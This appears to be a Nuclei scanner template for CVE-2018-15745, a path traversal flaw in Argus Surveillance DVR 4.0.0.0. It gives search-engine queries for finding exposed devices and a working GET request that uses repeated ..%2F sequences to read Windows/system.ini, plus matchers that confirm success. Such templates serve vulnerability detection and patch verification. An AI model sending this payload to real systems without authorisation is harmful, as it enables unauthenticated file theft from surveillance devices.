id: CVE-2018-15745

info:
  name: Argus Surveillance DVR 4.0.0.0 - Local File Inclusion
  author: gy741
  severity: high
  description: |
    Argus Surveillance DVR 4.0.0.0 devices allow unauthenticated local file inclusion, leading to file disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade to a patched version of Argus Surveillance DVR.
  reference:
    - http://hyp3rlinx.altervista.org/advisories/ARGUS-SURVEILLANCE-DVR-v4-UNAUTHENTICATED-PATH-TRAVERSAL-FILE-DISCLOSURE.txt
    - http://packetstormsecurity.com/files/149134/Argus-Surveillance-DVR-4.0.0.0-Directory-Traversal.html
    - https://www.exploit-db.com/exploits/45296/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15745
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-15745
    cwe-id: CWE-22
    epss-score: 0.87945
    epss-percentile: 0.99492
    cpe: cpe:2.3:a:argussurveillance:dvr:4.0.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: argussurveillance
    product: dvr
    shodan-query: http.title:"web viewer for samsung dvr"
    fofa-query: title="web viewer for samsung dvr"
    google-query: intitle:"web viewer for samsung dvr"
  tags: cve,cve2018,packetstorm,edb,argussurveillance,lfi,dvr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "for 16-bit app support"
          - "[drivers]"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022052c663ceb92444b6173d5d1d39c1940d5ef4cc478ce632244dce71162da8e361022011a94167190b5205273eb8ed6edac69f12130d8bda9da3c783e0511a84238b51:922c64590222798bb761d5b6d8e72950